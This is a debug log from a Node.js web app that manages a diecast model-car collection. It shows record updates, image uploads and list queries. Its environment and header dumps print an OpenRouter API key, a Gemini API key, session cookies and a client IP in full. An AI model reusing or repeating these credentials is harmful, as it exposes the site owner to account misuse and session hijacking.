2026-02-04T10:02:27.408Z server-connect:output restrict: undefined
2026-02-04T10:02:27.408Z server-connect:app Executing action step condition
2026-02-04T10:02:27.408Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:02:27.408Z server-connect:app Executing action step update
2026-02-04T10:02:27.408Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:02:27.410Z server-connect:output update: { affected: 1 }
2026-02-04T10:02:27.410Z server-connect:app Executing action step upload
2026-02-04T10:02:27.410Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:02:27.410Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:02:27.410Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:02:27.410Z server-connect:upload Processing file: {
  name: 's-l1600 (1).webp',
  data: <Buffer >,
  size: 132246,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-36-20378841770199347405',
  truncated: false,
  mimetype: 'image/webp',
  md5: '6c4715a8288532a8e85a34194c092c56',
  mv: [Function: mv]
}
2026-02-04T10:02:27.410Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp',
  rel: 'public/assets/images/diecast/s-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp'
}
2026-02-04T10:02:27.410Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp',
  rel: 'assets/images/diecast/s-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp'
}
2026-02-04T10:02:27.410Z server-connect:output upload_image: [
  {
    name: 's-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp',
    path: '/public/assets/images/diecast/s-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp',
    url: '/assets/images/diecast/s-l1600_1_0bb33016-c7cc-4544-80e4-386b2179c05e.webp',
    type: 'image/webp',
    size: 132246
  }
]
2026-02-04T10:02:27.410Z server-connect:app Executing action step repeat
2026-02-04T10:02:27.410Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:02:27.410Z server-connect:app Executing action step insert
2026-02-04T10:02:27.410Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:02:27.411Z server-connect:output images: { affected: 1, identity: 187 }
2026-02-04T10:02:27.411Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:02:27.411Z server-connect:output condition: undefined
2026-02-04T10:02:27.626Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:02:27.626Z server-connect:app Executing action step identify
2026-02-04T10:02:27.626Z server-connect:app options: { provider: 'security' }
2026-02-04T10:02:27.626Z server-connect:output identity: 1
2026-02-04T10:02:27.626Z server-connect:app Executing action step restrict
2026-02-04T10:02:27.626Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:02:27.627Z server-connect:output restrict: undefined
2026-02-04T10:02:27.627Z server-connect:app Executing action step paged
2026-02-04T10:02:27.627Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:02:27.629Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:02:27.845Z server-connect:router Serving templateView /
2026-02-04T10:02:27.845Z server-connect:app Executing action step identify
2026-02-04T10:02:27.845Z server-connect:app options: { provider: 'security' }
2026-02-04T10:02:27.845Z server-connect:output identity: 1
2026-02-04T10:02:27.845Z server-connect:app Executing action step restrict
2026-02-04T10:02:27.845Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:02:27.846Z server-connect:output restrict: undefined
2026-02-04T10:02:27.846Z server-connect:app Executing action step restrict
2026-02-04T10:02:27.846Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:02:27.846Z server-connect:output restrict: undefined
2026-02-04T10:02:27.846Z server-connect:router Render template layouts/main
2026-02-04T10:02:27.846Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:03:09.999Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:03:10.000Z server-connect:app Executing action step identify
2026-02-04T10:03:10.000Z server-connect:app options: { provider: 'security' }
2026-02-04T10:03:10.000Z server-connect:output identity: 1
2026-02-04T10:03:10.000Z server-connect:app Executing action step restrict
2026-02-04T10:03:10.000Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:03:10.001Z server-connect:output restrict: undefined
2026-02-04T10:03:10.001Z server-connect:app Executing action step condition
2026-02-04T10:03:10.001Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:03:10.001Z server-connect:app Executing action step update
2026-02-04T10:03:10.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:03:10.002Z server-connect:output update: { affected: 1 }
2026-02-04T10:03:10.002Z server-connect:app Executing action step upload
2026-02-04T10:03:10.002Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:03:10.002Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:03:10.002Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:03:10.002Z server-connect:upload Processing file: {
  name: 's-l1600 (2).webp',
  data: <Buffer >,
  size: 81844,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-37-20378841770199389999',
  truncated: false,
  mimetype: 'image/webp',
  md5: '87f1c651dec53fb5c3af1c9b57a5733f',
  mv: [Function: mv]
}
2026-02-04T10:03:10.002Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp',
  rel: 'public/assets/images/diecast/s-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp'
}
2026-02-04T10:03:10.002Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp',
  rel: 'assets/images/diecast/s-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp'
}
2026-02-04T10:03:10.002Z server-connect:output upload_image: [
  {
    name: 's-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp',
    path: '/public/assets/images/diecast/s-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp',
    url: '/assets/images/diecast/s-l1600_2_726ae122-30d5-40c8-9d77-bd572451c8a6.webp',
    type: 'image/webp',
    size: 81844
  }
]
2026-02-04T10:03:10.002Z server-connect:app Executing action step repeat
2026-02-04T10:03:10.002Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:03:10.002Z server-connect:app Executing action step insert
2026-02-04T10:03:10.002Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:03:10.003Z server-connect:output images: { affected: 1, identity: 188 }
2026-02-04T10:03:10.003Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:03:10.003Z server-connect:output condition: undefined
2026-02-04T10:03:10.221Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:03:10.221Z server-connect:app Executing action step identify
2026-02-04T10:03:10.221Z server-connect:app options: { provider: 'security' }
2026-02-04T10:03:10.221Z server-connect:output identity: 1
2026-02-04T10:03:10.221Z server-connect:app Executing action step restrict
2026-02-04T10:03:10.221Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:03:10.222Z server-connect:output restrict: undefined
2026-02-04T10:03:10.222Z server-connect:app Executing action step paged
2026-02-04T10:03:10.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:03:10.224Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:03:10.428Z server-connect:router Serving templateView /
2026-02-04T10:03:10.429Z server-connect:app Executing action step identify
2026-02-04T10:03:10.429Z server-connect:app options: { provider: 'security' }
2026-02-04T10:03:10.429Z server-connect:output identity: 1
2026-02-04T10:03:10.429Z server-connect:app Executing action step restrict
2026-02-04T10:03:10.429Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:03:10.429Z server-connect:output restrict: undefined
2026-02-04T10:03:10.429Z server-connect:app Executing action step restrict
2026-02-04T10:03:10.429Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:03:10.430Z server-connect:output restrict: undefined
2026-02-04T10:03:10.430Z server-connect:router Render template layouts/main
2026-02-04T10:03:10.430Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
